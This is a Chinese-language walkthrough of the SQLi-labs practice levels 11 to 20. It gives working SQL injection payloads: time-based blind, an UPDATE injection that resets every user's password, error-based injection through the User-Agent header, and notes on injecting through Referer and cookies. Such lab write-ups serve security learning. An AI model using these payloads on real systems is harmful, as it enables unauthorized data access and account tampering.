Less-11 — Less-15:
没啥意思,略了
Less-16:
时间盲注:
admin") or sleep(2)#
可验证
把之前写的时间盲注脚本改一下即可…
Less-17:
是一个修改密码的功能,update 注入
猜测后台的逻辑为:
update users set password='$_POST['password']' where username='$_POST['username']'
在 password 这里注入,输入
111' where 1=1#
即可把所有用户的密码都修改为111
尝试在 username 那里注入发现不可行,查看源码发现在username 那里做了过滤。
的确,不然和前 10 题还有啥区别 233
Less-18:
注入点在 User-Agent,单引号闭合,报错信息有反馈。 insert 注入,但是插入的内容是无法查看的。
后端的逻辑:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0', '111.111.111.111', if(mid(database(),1,1)='a','admin',sleep(3))#', '$IP', $uname)
$uagent 可控 自然可以想到用时间盲注的方法,payload很简单:
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0', '111.111.111.111', if(mid(database(),1,1)='a',sleep(3),'admin'))#
不过这样的方式存在一些弊端,就是会使得数据库里出现一些不正常的数据。在真实的渗透中,这样的操作是应该尽量避免的。
所以我们要尽量让 insert 语句不能成功执行,同时还能把我们想要的数据返回出来。
结合本题可以返回报错信息的特点,自然就想到用报错注入。
于是 payload 可以是这样:
0',(SELECT 'temp' FROM (SELECT COUNT(*), CONCAT((database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) FromTable),'1')#
Less-19:
和 Less-18 一样,只不过注入点在 Referer
测试一下发现 column number 是 2
改一下 上面的 payload 就好了
Less-20:
先登陆进去,发现有用到cookie,怀疑注入点就在cookie,测试一下发现果然。
没过滤 有回显,很简单。